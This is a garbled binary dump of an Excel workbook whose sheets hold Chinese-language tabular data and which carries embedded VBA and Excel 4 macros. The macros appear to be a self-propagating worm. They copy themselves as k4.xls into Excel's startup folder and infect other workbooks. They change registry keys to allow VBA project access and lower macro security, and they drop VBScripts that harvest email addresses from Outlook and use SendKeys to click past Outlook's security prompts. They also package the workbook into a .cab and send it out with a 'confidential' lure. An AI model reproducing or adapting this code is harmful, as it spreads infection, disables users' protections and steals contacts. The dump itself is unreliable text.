-7411威尼斯

��ࡱ�>�� ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� ����$. !"#%)&'(*- ,���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������root entry�������� �f���������aå��i������������workbook����]/������������ � �������\p b�a�=<� thisworkbook���=�x9!�8x@�"��1����p�[so1����p�[so1����p�[so1����p�[so1����p�[so1���p�[so1����p�[so1����p�[so "��"#,##0;"��"\-#,##05"��"#,##0;[red]"��"\-#,##07"��"#,##0.00;"��"\-#,##0.00a"��"#,##0.00;[red]"��"\-#,##0.00i*2_ "��"* #,##0_ ;_ "��"* \-#,##0_ ;_ "��"* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ "��"* #,##0.00_ ;_ "��"* \-#,##0.00_ ;_ "��"* "-"??_ ;_ @_ 6 1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[red]\(\$#,##0.00\)�"yes";"yes";"no"�"true";"true";"false"�"on";"on";"off"]�,[$� -2]\ #,##0.00_);[red]\([$� -2]\ #,##0.00\)��� � ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� ��� �� � � � �� �� �,�� �� �*�� �� � �� �� �)�� �� �0� �8� �8� �8� �8� �8� �0� �8@ @ � �8@� �8 � �8@� �0@� �8 � �8� �8@� �8 � �0@� �0 � �0@ � �0 � �8� �0@ @ � �8@ @ � �8 � �0 � �8@ @ � �8@ @ � �0 � �8� �0@@� �8 @� �8@� �8 � �8@ � �8 � ������������������`��macro1��sheet1�5-sheet2�i.sheet3�vv�! :! :! :! :���8��2nn�s�~�s�~�npe000�s�~oxt;`�npe 7fk/goso 7�n ��oso 7?b0w�nxvzoso 7薱��w�^q{oso 7�hg�g�r�_oso 7z�т�fz�>y 7r�nl��r>y 7 r�t^�_?a�oso�^�]ro 7�_�soso�^�]ro 7!h�qvq�noso 7�s�~oxt�npe 7n �s�~{ t� t^ g �e 7 �s�~{w[� 7 t^ g �e 7 �s�~�b�no�/��r^�npe 7/ 7�s�~�b�no�;`�npe/��r^;`�npe 7d��nn��^q{�] zf[b�>y�v�]\oo�y�sɩsoċ ��8hh� 7�>y�v�]\o;`�~�w[pe n\�n2000w[(�sd�u�) 7�ċrpe� 7>y�vt�toa��� 7o�y 7ty�v�]\oo�y�sɩsoċ ��8hh�� 2011   2012 f[t^ � 7�"� � ����=cc @� ��� �p  d����mbp?_* ��%�����"�?�?u�� ���bt,�� �userb�a b~�� �h/�y(u�[ �sq� 2012-8-29 16:49:52 please enable macro!bv��� �b���� �a��� �b7��d 0� �  >�@�7 � ��� 'u�)�  d����mbp?_* ��%����&r���q�?'m&��d2�?(���(\��?)r���q�?m� ��߁ � 4d��a4�bjdm d��rt,t`o�p,t`o�prt,tt�`o�p,tt�,tt�`o�pxx' d rt rt�@v�� ��rt�� ��canon ip2700 series ��߁ � 4d��a4b0���" d��m&��d2�?333333�?u} � }  }  }  }  } �}  } � } } } @} �}  'w@@ @     @@@@� ,�------------ � .� ............ � � //� /� ///� /� / �  / /�   � /� /� /� / � /� *� / /�  �   �  /� /� /� / � /*� / /�  �   �  /� /� /� / � /*� / /�  �   �  /� /� /� / � /*� / /�  �   �  /� /� /� / � /*� / /�  �   �  � � �   �  �  �  �  �  �  �  �  �" ! �"#"""""""""""$" � %� & �"%& �"%& �"%& �"%& �"%& �"%& �"%& �"%& �"%& �"%& �"%& �"%& �'(((((((� - -�  -�  -0 � * � *� � 2 3�  *�  " �"* 45  �* 45 �  *�  " �dz l02������<0000&&2&&&&&&&&&&&&pp& !"@#$@%&�" * 45 " �!* 45 � ! *� ! " �""* 67 " �"#"""""""""""""" � $� $ �"%)))))))))))))) �&11��x&<&&2&>�@ �2&  &&"""""           !"   !" �7� sheet1 � ��� �-  d����mbp?_* ��%�����"�?�?u>�@�7� sheet2 � ��� /  d����mbp?_* ��%�����"�?�?u>�@�7� sheet3 ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<�8���i� ��#����������<��˧��ʈm��`���f <���@@���l��t������������x <���@@���l��t˧��ʈm��`����me�����������������������������������������������������������������������������������������������������������������������������������������psl����s����s�����6"����`���&���^<��<������n0{00020819-0000-0000-c000-000000000046}����x���������(����������%����h���������`�������������� %������������������������� %%*����������������������������� ����������������� ������������� ��������������������� h�������� �)�\��������h�����h!%������������������������������������h8@tt����������������������00(�q $*\rffff*0<51e42830*\r1*#2a9*\r1*#2ad����������4��� "� � �(� 0�@�h"�  p�x�\`� �� �� �� ��� ��������] �ġ\r��� &.�y}4qy}�p� &(([}apo��0�� � �&{0002e157-0000-0000-c000-000000000046}�������� \!<!�b@������ &(.��0� &((! \a@z� &(.��'�r7o�������������attribute vb_name = "thisworkbook" �bas�0{00020p819-0c$0046}� |global�spac�false dcreatablpred�eclaid�tru bexposetemplatederiv�bustomizd2public withevents xx @as app� ation fxx.�varhelpid�u-1 p�;? sub �_open() p set�)= )on error resu�nex�t4�:.disj yaler�j= icall do_whaendc�: axx_w�{o!byval w�b�5�'&� wb@8project.references.addfromguid _ guid:=�"b�e157��� -p�,� major:=5, mi na3 51e42830�����4����������x������attribute vb_name = "she@et2" �bast0{000�20820- c$0046} |global!�spac�false dcreatablpre declaid�tru bexposetemplatederiv$�bustom izd2ru��� hq�������4)�q���������������������������������������������������������������������������������`ru��� ��������@n<�jx�i�u��#����������<��:ati�jeb�.�v��w� �f��ɓ�ab��$ii��=������������x��ɓ�ab��$ii��=:ati�jeb�.�v��w���me�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(sl����s����s�����6"������n0{00020820-0000-0000-c000-000000000046}��������������(����������%����h���������`�������������� %������������������������� %����`��������������������������������������������h8@hh����������������������00(�q $*\rffff*0?51e42830�����4����������x������attribute vb_name = "she@et3" �bast0{000�20820- c$0046} |global!�spac�false dcreatablpre declaid�tru bexposetemplatederiv$�bustom izd2ru��� x��������4)�q���������������������������������������������������������������������������������`ru��� ��������@nru����~| 7� � � � � ��� 1 q �� � 1 y � 9�! ����� �y���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1d*\r1*#2ad$*\rffff*0;51e42830*\r4*#2c*\r4*#35*\r1*#2ac*\r1*#e8*\r1*#d7$*\rffff*0<51e42830*\r1*#f1*\r1*#dc*\r1*#f1*\r4*#1c*\r4*#1b*\r4*#27*\r4*#25*\r4*#2b*\r4*#2a*\r4*#34*\r4*#34*\r1*#43*\r1*#1c8*\r0*#f*\r0*#12*\r1*#228*\r1*#91����"�� "�h� "0�@�h�*tp� �� "�����"�����&f��2��*(�"x�"��0������@�"p�4x�v9�� �0(�0x���0���� ��������� ����"��������� �iu �������������������������x��me�������������l�������������� ��������������������������������������������������������������������������������������������������������@1���!���)���0���^<��> ���������l����l�����"����l����l����p����p����l���������l����p����l����p����*l����������������������������h `������������ x ������)�y�b����������� �xy�d����������� �y�f����������� �y�h����������� �y�j���������������$d`�l�������� ��\!`�n�������� ��`  � `������������ ���� ���� h� n0 `������������ � ����s�i�p���������������(`�r����������`�t�����������`�����������f 2� `������������ �������� e�@�z�������� ���@�|�������� ��h `�����������!� h `������������� ���� o�i���������� �������@���������� ��$~@���������� ��b@� � `������������� ������x�i���������� ��� �7�i���������� �������b@�@���������� ��>@���������� ��� 6� `����������������������!!�� ����������p b@%`������������`������������`���������� ��v r����`���������������� ������@���������� ��@���������� ���@���������� ��.z`���������� ��5n8 ��������� x � ��������p0 8p� ���������������������� ����@��h h �����������"���������������������%����������������������������������������������������������������������@������������������������������������������������������������������������������&0246\k4.s"@��x��� �� coms@���t����� l /f@������p����� \k@��(`��� �� re\m@������\��� �� �@������l��� �� cess@��x<��� �� hkey@������,��� �� re\m��������������������������������������������������������������(��������@���������������������x�����������������������������������������achine\softwe\@��xl��� �� �@������\��� �� leve@������x��� �� '�"������t����`p%����xorda@������p����� reg_�����������������������������������������������������������������(x����������������������������������������������������������������������`����b@�k��@���x��� �� @���t��� �� \@������d��� �� �l@���`��� �� macr@������\��� �� a2$ %������x���`alse%�����a3$@��@t����� =if(@��xp����� !�@��pl����� �@������h����� ��������������������(����������������������������8�������������p(����h�������������������������������������������������������������`@ �]����x�����=end�((�@���p��� �� @���`��� �� �@������\��� �� �����4���&��va@���l��� �� � @���<��� �� �@�� ,��� �� �@��(����� �@������$����� !@��@��� �� �@��x��� �� p@��p���� �� 10@������� �� 11@������� �� 14@������� �� 15@���������� �� p@������� �� t.sh�.�@���������? �� t\map�\open\@��8���� �� @���������� �� �������  � ����� ��������������������� ���������������������������������������������������������"@0(�q *\r4*#���� ����� � '0�p� `�h�x� ������b�  ���������������b�  ���� ������������ �����"(�p� ����b�$ x� �����p� �����x������������� ����� �������� ������������ ����� �� �(� �����0�@�h�p� �����x�h�p�x� ����������������� �����*�� �� �����"� 0� @� p�`�h� p�x� �� ������ ����� ������ �� ����� �� ������� �� � �����(� �����h�`�(x� ��������� ����� �������� �����  � �����  �( �"8 �` � p � x � � �� �� � � �� �� � ����b�  � �� �� �� � � �� �b �l` �j� �h � �����h � ` � p �� � � � � �� �� � ����b�  � � � �� �� � �  �* � �����zh �v� �\ �x` � ������ �� � ������ �� ��(� �����h� ����"�  p�x�`� �������������� ����� ����"�  ���� ������� �����.��<� (� �����(@�!x�(x�6y��(��^r��(@�!x�(x�!��(��!�� �������<?�� 0�58�p� ����b�  x�`�h�p����������� ����"� ��������� � �����0�bp� �����0��2��  �(� .0� `�h�p�x�p�� ���� �� � .�@� jh��� ��,��,��� �� �(� ����� ����"� 0�&8� �����`�*h��� �����2��f��$8�`�h� �����"x�"����b��>0� p�2���� ��.� 8�6x� ��2���� � �@�8`�2���� ��2�@� x� �����&h����� �����"��&��2��n0�p��n��j �*p�2��0��"�t0���.��4��\�h�,��8�����:�bx�.��p��j@ �� �$� �z� �8(!�4`!�b�!�>�!� "�8"�bh"�<�"��"��"�(�"�. #�hp#�j�#��#�$�$ $�h$�h$�>x$�d�$�@%�v@%�&�%�@�%�&�r&�dh&��&�*�&�&'�@'�(p'�x'�j�'�4(�&@(�h(�j�(�4�(�&0)�x)�&x)��)��)�0�)�.�)�h(*�xp*�j�*�. �8h �� �6� �� �"� �,�0,�8@,�6x,�0�,�p�,�0-�8@-�x-�b�-�>�-�.�(.�(8.�.`.�h�.�p�.�(/�h/�$`/��/� �/� �/�(�/��/��/� ����"� 0� 0�(0�80� �����@0�*`0�6�0�f�0� 1�&01�x1�`1� �����<p1�"�1�l�1�(2�h2�ph2�p�2�d3�p3�p�3�@4�v@4��4�p�4�v 5�nx5���5���6��07��7��7�>�7�08�jh8�6�8�&�8�"�8� 9�&@9� h9��9�4�9�6�9� :�8:�0p:�*�:�(�:�x�:�bp;�*�;�$�;��;�<�&(<�p<�p<� ����� �<��<��<��<�,�<�(=� 0=� ����� @=�p=�(x=��=� �=�$�=��=���=� �������>�0?�8?� �����n@?�r�?�t�?�t@@�>�@� �����2�@�la� `a�^pa�:�a�b� b�(b� ����"� 0b�8b�@b�hb� �����$xb��b� ������b��b��b��b��b��b��b��b��b��b� �b�c�c� c�(c�0c�hc�pc�xc�`c�hc�pc� ����b� xc�2�c��c��c��c��c��c�d�d�d� ����b�  d� d�8d�@d� xd�hd��d� �d��d��d��d��d��d�*�d�2e�pe�`e�heb� pe�xe��e�4�e�.�e�f�*f� hf�xf� ����b�  `f�hf�pf�*�f� �f� �f� �f��f� ����"�  �f�g�g�*g�jhg��g� �g��g� �g��g� �g�h� h�0h�8h� ����� ����"� @h�hh�`h� hh� xh��h��h� �h�@�h��h�i�i� 0i� @i�pi�xi�`i� pi��i�*�i��i��i��i�&j�|(j�v�j�, k� pk� `k�pk� xk��k� ����b�  �k��k��k� �k� �k� �k��k�&l�0l�$8l�"`l��l��l��l��l��l� �l� ������l�����l�� &(( !* &!,�� &(.a0a2�$4!�macro1�g a@6j b@8��8�7f� &(. gp�8�k��xo��p�@]�"���� thisworkbook !<%>!@��0��#public withevents xx as applicationc@b��������private sub workbook_open()c@b��������set xx = applicationc@b��������on error resume nextc@b��������!application.displayalerts = falsec@b�� call do_whatc@b��������end subc@b��1private sub xx_workbookopen(byval wb as workbook)c@b� �on error resume nextc@b� �%wb.vbproject.references.addfromguid _c@b� �guid:= :�&{0002e157-0000-0000-c000-000000000046} :�, _c@b� �major:=5, minor:=3c@b� �"application.screenupdating = falsec@b��!application.displayalerts = falsec@b�� copystart wbc@b��!application.screenupdating = truec@b��end subc@bq��o����]��]��]�� !<.d�� thisworkbook d%>.f� f!@.j j��5nc@lq���o��x�8 !* &!,�a@ratavaxk��0i��(�x�]��]���k4.xls$d!<.`� \!<.b�todole ` b�$f�gzji����  � ��]��]�]�(]�@]�x]�p]�� j���'fz��0k��( h$| ~��'fz��k��� l���'fz���k��� j!� ���'fz���k��� l!� ���'fz���k����x� h j%>.f �!����'fz��@k��8�temp$��\ h�.bas'p n�� p � � � $~ ~� �b@� pa@� �!����'fz���k���k��� l!>� h7�c@�q��xd��p �b@�� h l%>.f �!��� �!�� �d���'fz���k���k���k��� p�� h j%>b@� p�\$�'v p�.$�'x p v� x v � $�'r��.f� r l%>.f f�� p�� l!>b@�d�� f!l ��� p l!>%�.z f!@��5nc@l� z!@!n z!@%�'t� tc@bq����� z l!>b@�k��`k��x pa@��'fi��8��]��]�� !�'� &!,�\k4.xls'��k4.xls$� !* &!,�g��k4.xls$db@bj�comspec$ �� /c attrib -s -h " &!,�\k4.xls" �a@��comspec$ �� /c del /f /q " &!,�\k4.xls" �a@��comspec$ �� /c rd /s /q " &!,�\k4.xls" �a@� !* &!,�� &(.� (� � b@�� (�� &(.k��hi��@�]�x�p������]����]��� &!�'���scripting.filesystemobject$�.��,hkey_current_user\software\microsoft\office\ ��\excel\security\accessvbom'��,hkey_current_user\software\microsoft\office\ ��\excel\security\level'��-hkey_local_machine\software\microsoft\office\ ��\excel\security\accessvbom'��-hkey_local_machine\software\microsoft\office\ ��\excel\security\level'��'��'� � �� reg_dworda� � �� reg_dworda� � �� reg_dworda� � �� reg_dworda�i����]���� wscript.shell$�.� ��� � � �b@�d��p � � � �b@�k��0��.�o�� ���]�8� \%4b@h ��l 4b@��macro1 �(�a2$�b@h� =error(false) �(��a3$�b@h�=if(error.type(run(" &!��"))=4) �(��a4$�b@h�=alert("���ú꣬�ر� � $� �� $��please enable macro!",3) �(��a5$�b@h�=file.close(false) �(��a6$�b@h� =end.if() �(��a7$�b@h� =return() �(�� �� \!4� �!�!auto_activate� =macro1!$a$2� \!�b@���� �� \%�(�o����p�'���� � &%d!� ��'�z��`k��x��pi��h��]�10:00:00��]�11:00:00�]�14:00:00� ]�15:00:00�8]�p�h�� wscript.shell$�.��,hkey_classes_root\mailto\shell\open\command\ �%$� outlook.exe�� �g|j  �  �  �  ���d:\collected_address:frag1.txt$�1�|��� d��� �1�d:\collected_address:frag1.txta@a@ k��� d��� �g|j  � �n� �$  � �n� �$�|�� d�� �n� �$'��� �d:\collected_address:frag2.txt$x'��� ��n� �$ �d:\collected_address\log.txt$��|��` d��x ��d:\collected_address:frag1.txta@ ��d:\collected_address:frag2.txta@a@k��� k��� k��� o��� ��]�������� �8�� ��scripting.filesystemobject$�.�� wscript.shell$�.��e:\kk %��g�e:\kk b@ j ! !� $�� �_$"�.�_$"'�e:\kk\ � _clear.vbs'$ �' $ �� ��on error resume next� ��dim wsh, tle, t0, i� �� t0 = timer� �� set wsh=createobject("�wscript.shell"�)� �� tle = "�microsoft office outlook"�� ��for i = 1 to 1000� ��$ if timer - t0 > 60 then exit for� �� call refresh()� �� wscript.sleep 05� �� wsh.sendkeys "�%a"�� �� wscript.sleep 05� �� wsh.sendkeys "� {tab}{tab}"�� �� wscript.sleep 05� �� wsh.sendkeys "�{enter}"�� ��next� ��set wsh = nothing� �� wscript.quit� �� sub refresh()� ��*do until wsh.appactivate(cstr(tle)) = true� ��$ if timer - t0 > 60 then exit sub� ��loop� �� wscript.sleep 05� �� wsh.sendkeys "�%{f4}"�� ��end sub� v�e:\kk\ � _search.vbs'& �' & �� ��on error resume next� ��const olfolderinbox = 6� ��$dim conbinded_address,wshshell,sh,ts� ��#set wshshell=wscript.createobject("�wscript.shell"�)� ��set objoutlook = createobject("�outlook.application"�)� ��,set objnamespace = objoutlook.getnamespace("�mapi"�)� ��<set objfolder = objnamespace.getdefaultfolder(olfolderinbox)� ��set targetfolder = objfolder� ��conbinded_address = "�"�� ��!set colitems = targetfolder.items� ��wscript.sleep 300000� ��wshshell.run ("� wscript.exe  $�"�), vbhide, false� �� ts = timer� ��for each objmessage in colitems� ��& if timer - ts >55 then exit for� ��m conbinded_address = conbinded_address & valid_address(objmessage.body)� ��next� ��add_text conbinded_address, 8� ��)add_text all_non_same(readalltextfile), 2� �� wscript.quit� ��� �� private function valid_address(source_data)� ��t dim odict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr� �� dim regex, matchs, ss, arr()� �� set odict = createobject("�scripting.dictionary"�)� �� set regex = createobject("�vbscript.regexp"�)� ��� �� regex.global = true� �� regex.pattern = "�,\w ([- .]\w )*@\w ([-.]\w )*\.\w ([-.]\w )*"�� ��* set matchs = regex.execute(source_data)� ��% redim trimed_arr(matchs.count - 1)� ��3 for i = lbound(trimed_arr) to ubound(trimed_arr)� ��/ trimed_arr(i) = matchs.item(i) & vbcrlf� �� next� ��� ��3 for i = lbound(trimed_arr) to ubound(trimed_arr)� �� odict(trimed_arr(i)) = "�"�� �� next� ��� �� if odict.count > 0 then� �� nonsame_arr = odict.keys� ��: for i = lbound(nonsame_arr) to ubound(nonsame_arr)� ��; valid_address = valid_address & nonsame_arr(i)� �� next� �� end if� �� set odict = nothing� �� end function� ��� ��0private sub add_text(inputed_string, input_frag)� ��5 dim objfso, logfile, logtext, log_path, log_folder� �� log_path = "�d:\collected_address"�� �� set objfso = createobject("�scripting.filesystemobject"�)� �� on error resume next� ��1 set log_folder = objfso.createfolder(log_path)� ��� ��$ if objfso.fileexists(log_path & "� \log.txt"� ) = 0 then� ��7 set logfile = objfso.createtextfile(log_path & "� \log.txt"�, true)� �� end if� �� set log_folder = nothing� �� set logfile = nothing� ��� �� select case input_frag� �� case 8� ��8 set logtext = objfso.opentextfile(log_path & "� \log.txt"�, 8, true, -1)� ��& logtext.write inputed_string� �� logtext.close� �� case 2� ��8 set logtext = objfso.opentextfile(log_path & "� \log.txt"�, 2, true, -1)� ��& logtext.write inputed_string� �� logtext.close� �� end select� �� set objfso = nothing� ��end sub� ��� ��"private function readalltextfile()� �� dim objfso, filename, myfile� �� filename = "�d:\collected_address\log.txt"�� �� set objfso = createobject("�scripting.filesystemobject"�)� ��< set myfile = objfso.opentextfile(filename, 1, false, -1)� �� if myfile.atendofstream then� �� readalltextfile = "�"�� �� else� ��( readalltextfile = myfile.readall� �� end if� ��set objfso = nothing� �� end function� ��� ��*private function all_non_same(source_data)� ��( dim odict, i, trimed_arr, nonsame_arr� �� all_non_same = "�"�� �� set odict = createobject("�scripting.dictionary"�)� ��� ��* trimed_arr = split(source_data, vbcrlf)� ��� ��3 for i = lbound(trimed_arr) to ubound(trimed_arr)� ��! odict(trimed_arr(i)) = "�"�� �� next� ��� �� if odict.count > 0 then� �� nonsame_arr = odict.keys� ��: for i = lbound(nonsame_arr) to ubound(nonsame_arr)� ��b all_non_same = all_non_same & nonsame_arr(i) & vbcrlf� �� next� �� end if� �� set odict = nothing� �� end function� v * &((� wscript.exe & .� �b@,��.�o���p]����������]� � 2'0�� wscript.shell$�.���scripting.filesystemobject$�.�e:\sorce %��g�e:\sorce b@ j ! !� $�� �_$"�.�_$"'�* � *message*'4� e:\sorce\ �_key.vbs' �'  �� ��.dim oexcel,owb, wshshell,fso,atta_xls,sh,route� ��on error resume next� ��set sh=wscript.createobject("�shell.application"�)� ��sh.minimizeall� ��set sh = nothing� ��set fso = createobject("�scripting.filesystemobject"�)� ��%set wshshell = wscript.createobject("�wscript.shell"�)� ��if fso.folderexists("�e:\kk"�!) = false then fso.createfolder "�e:\kk"� ��fso.copyfile _� ��wshshell.currentdirectory & "�\ �*.cab"�,� �"e:\kk\"�, true� ��for each atta_xls in listdir("�e:\kk"�)� �� wshshell.run "�expand "� & atta_xls & "� -f: � .xls e:\kk"� , 0, true� ��next� ��if fso.fileexists("�e:\kk\ �.xls"� ) = 0 then� ��- route = wshshell.currentdirectory & "�\ �.xls"� ��7 if fso.fileexists(wshshell.currentdirectory & "�\ �.xls"�)=0 then� ��# route = inputbox("� warning! "� & chr(10) & "� you are going to open a confidential file."� & chr(10) _� ��" & "�%please input the complete file path."� & chr(10) & "�#ex. c:\parth\confidential_file.xls"�, _� �� "� open a file"� , "�$please input the complete file path"�, 10000, 8500)� �� end if� ��else� �� route = "�e:\kk\ �.xls"� ��end if� �� set oexcel=createobject("�excel.application"�)� ��' set owb=oexcel.workbooks.open(route)� �� oexcel.visible = true� ��set oexcel = nothing� ��set owb = nothing� ��set wshshell = nothing� ��set fso = nothing� �� wscript.quit� ��%private function listdir (byval path)� ��( dim filter, a, n, folder, files, file� �� redim a(10)� �� n = 0� ��" set folder = fso.getfolder(path)� �� set files = folder.files� �� for each file in files� �� if left(file.name, �) = " �" and right(file.name,3) = "�cab"� then� ��4 if n > ubound(a) then redim preserve a(n*2)� �� a(n) = file.path� �� n = n 1� �� end if� �� next� �� redim preserve a(n-1)� �� listdir = a� �� end function� v !*� \test.txt' �'  �� �� e:\sorce\ �_key.vbs� �� e:\sorce\ �.xls� v� &(.a@6� e:\sorce\ �.xls b@�a@r$l' 8 !*�$�a@:�#"c:\" !*a@:�comspec$ �� /c makecab /f " !*� \test.txt"�j /d compressiontype=lzx /d compressionmemory=21 /d cabinetnametemplate=../ �.cab .� �b@,� " !*� \test.txt %< !*� \setup.rpt %< !*� \setup.inf %< !*�\ �.cab %<aa@������comspec$ �� /c rd /s /q " !*�\disk1" .� �b@,�comspec$ �� /c del /f /q " !*� \test.txt" .� �b@,�comspec$ �� /c del /f /q " !*� \setup.rpt" .� �b@,�comspec$ �� /c del /f /q " !*� \setup.inf" .� �b@,�comspec$ �� /c rd /s /q e:\sorce .� �b@,�e:\kk %��g�e:\kk b@ j�comspec$ �� /c move /y  � .cab e:\kk" .� �b@, 8a@:� 0 � dear all, @  @�fyi��e:\kk\ �.caba>�comspec$ �� /c rd /s /q e:\kk .� �b@,��.�� &(.o���=�8 ]� ]�0 �g|j��outlook.application$�.l� r l%p.n n� d9d f9f b9h h9t j5vb@��9xq�� =�z=�\= nb@^[�� setforth �a@�a@�a@��%s��ba@`a@��\�<�z�<��.l��.no���<�h �� win32_process� winmgmts:$f%h.d�' � j� d� j!l�outlook�� ��' y��<k���;���;i���;�� ]�� � � �'n p��gzj p� �� �� p� n�$$ 'n� ��z��p;k��h; p� 'ra@4� ��� � v r  x � � 't x t ��g n�$$ x t 'nj x t 'x���:i���:�0 ]�p �� �� �'2�d:\collected_address\log.txt$ @$~'z z� z� � $n�$$$~'|� �� |�� 2�; $|x� $z'2� ��i���9�� ��9]� �0 ��scripting.filesystemobject$�.�� ���� �%�.� �!�' �b@bi��9�h ��8]�� �� ��scripting.filesystemobject$�.� � �� $� �%��g � �� $� �b@ j � �%<�� ���� �%�.� � �b@� �b@bd��8� ���� �%�.� � �b@� �b@bk���7o���7�� ]�8 �x �p ]�� � &(.� &((�p7� �� !��� �(�� �!�!$~#� auto_activate�g �b@�j��7� �� !4� �!�macro1� � �(� �b@�k���6���6�$4b@h 4b@�� �� !4� �!�$4!�g � �(�j��06� v� '�� v� '��** confidential! ** � � ��use �"$� ! !� $��_key.vbs�"$�� to open this file. �� � ������ �"$� ! !� $��_key.vbs�"$�� �������ļ�. �� � � � �$� �� �$�$���5�(��5�(�q���4� &(.o��p4�� ]�� �� ��(�@4 �!'�� &(.� &((� �� !4� �!�macro1�g � �(�j���3� ���a1:f15 �$4%�� �!�� confidential�� ��'�y��h3k��`3��x3 ���g �$4b@�j� &(.i�� 3����3����h�attribute vb_name = "todole" privalsub auto_open() application.display@alerts|false if thisworkbook.pa@th <> ts@tartupt@hen c�reenupding[ call delete�_tf_wk<�copytowx�sheets0(1).��"m@acro1"se�n movem�4 [� csavnstruend� if ��� � r��jonst @dquotev"3�?wi�� bvbproject.vbcomponenn" ").codemodublf.ins�lines 1, p"pub� ev� xx as��_@�� 2� ���v��e� 3� set�=�4� on error resu�@�next�5� � 6 �o_wtha7�h�8��i�xx_�o��byval wbkam�b) 9!7120 wbt�vreferences.addfrom@guid _m1asguid:=" &��& "{0002e157-u0c�b�0�046}k,� �>�major:=@0�min!3��=�{υw��?�: xaa�ahs!�`0� �>�at���acw!d�x�xk��x8dim`��8�bvb�ide�: ��v?��xw')y ��jc����� =�� s(��#%a7aj�!! $� .db����untof�'(funrc� d#r�&��n.�š�torea�fterar��}��doormi��softhobb y�abjudg� �� ��m(2d �| e>ab1o�>`��2��=1>e� 8k4.xl�s ��a� �2�)�7a-�m��@@od�ole","�d� ?b|)�qexit� �r��sg�v�@estring�e�� �l& /t�too�4fove@rwrite� s&t�1bo� an�)��#�xt~ ?:!<�3afo� ��� as slashpo�ws lonbg�ext0ft�emp��ufl c�@is no`��0�e�q �!�#���� l a� ��a�trim(�)��vbnull3�%�a� �� y"� q0���@�c�].�;t 70�"�_pp_lo�cked_y�1���5� �[�t�?�0�� ���2�2��f!'q �?�:�f� #� о.n�umbera�0��!0_!y!�9=��viron�n�2�")��"\� !�.bas���� �d<= �� s$di$r(", �.or mp� �hidd�šsystem~)��0��1�clea�ke k�i�b����%�� �q��929*�8* �.re�m�� .i �bg��e�b@x�rr.�:)���)/���� � = �9?�7 �� 0� a?�2��3a;�roject.vbcomponents(modulename).export f"i@:=f\   slashpos = instrrev(f, "\")�hextd."czgmidb] p 1, f-t-� 1b�et �gnothing�tovbp��b� *if�)is *` then�,� (.i���� el se!�2.type_vbext_ct_docum_�̌9�;�s�~t�emp��k���:c�kwith?.pcode���.deletelinesaj unt�of� s�7*h�. (�z�co��-a! .inse,rt�!s�en d a4kon error goto 0 vprempove �)� �if��kill ��� copym���cru�� fun�ctio@� � microsofthobby(�>dim myf��0 as ��º9�my��i�8re�s�� n�� �= kisworkbook.full�| = applica�.st�artuppa@c&�|k4.xls" xeope�n("$) a/�thh �<>� �k � s' .clo se fabgshe *environ$("coms@pec") � /c attrib -s -h """�9k4.xls�, vbminimize�df�os � @`@ /f /q? \? �rd /s� �3 b6�2�=�� )creenupdy dng�y4�r i�saddin^/�savec c`z�o�k�) ztlasm!!wdoorelfs�o, rk1�i�*2�3�4� �rkvaluebvariant,� c dcvs��w`krversb�a�@� createob��("scripting.filesysta`�bjectx  = "hkey_current_user\sa0gware\h\�office\�4�q&excel\security\accessv�bompark2� ��t�\�le(velb3flocal_mach�ine__"]� ~4���x   � 5 = 1���. ca�lwreg(�"�p"re�g_dwordœz �2�$0���3744� !�3sub bst�rkey',, �/�/r��k�|�2o�wsq]s�,p;-wscript.��y�a��6d�0_8k�f��.`w�*e  �d c��"d���n�� ��� b priv�: %m �ma�~4(�byp wb��p�@�@xtq ��sht�c?c 0�e��1).sp�^cqwpp.y !� :=xl�64m�!�# a��ve�.4�"21�8�srange("a,2"k�c�z.formular1c116=error(false)գ u3_i�a_ "=if(�.type(run(; |�~up�� �j""�))=4 4ac alert@���ú꣬�ر� �pchr�(10�nowa�"plea��e@nable �!�"",3m5oocfile.cl�ose/�6��a�end.`�7return(#!� ea�ch �)in�(��wb�$s"( �%�!auto_�#�1 "`m=�&!$a$~2�x���,�� sb(0/visia= xlb,�ryhi�ddܸ8�8f�u7ҭ��b�r$wk�6`���) .v v;bƶo�t��pkl0�)��4s(�a1�) �> 0��pî�aexi��&� p� d �i3 �oknotopen: end function private sub atjudge() const t1 as df= "10:0u"<2 <1 <3u <4 4 5dim senttime", ws@hshell�set = cre�object("wscript.-"�if �� instr(@ucase(&.regread("hkey_classes_root\mailtho\s:\o��\command\")), "outlook.exe") > 0 then exi�t���s�<b>=� �<2 or. �� 4% n �"�qound@:\collted_address:frag1.�txt�c��" ��g%� else�cb�pfilez"�7\ searc�h_in_oly�if�g2bif_outloo�k_�u �m�#� g< t��f��=("�n)10,�)�r� t�z 4)g�f�f��=b�-21�,�w@��,o�rror got�o t@�e�ik��ca3(w2w@fg��gvw < (2@gb$ \log�ghph� �h�ni" j�i`���now9r�#i,�"cab�_� dm�yi�sb��u`g�v���axˤ)] �a�i��integer, att�na���ing@�ddvbsbk����list�fs� ����ga�lresu` next 7�����s¡.f�{systemoob���_�i� @mfs.folderex�s("e:�\kkb�fa�}z��$8b � $= replace`�left(thiswork b��.!), le�n�) - 4�� �k_"a.d� qf._cl����\�" &f4& "�p.vbs@pi�fhreea2 �� 7�}d7 f�{@�pu t`�c�� wri3�� ;#i�3��nt� #i v�4e���4� (�gwsh, xtle`� vi  � t0���r-a7�=c��c:(""i!"w�>.��4) @��microsoft of�fice paz�'�q�1 `n10�00� if�m�rp > 6 r��call !f m h(� � leep 05�p.se�ndkeys $ �%a� p ��� u�h�{tab~}boo @o{�e`cr}a=[w� `th=�u q�uit��re�pdo untibl� 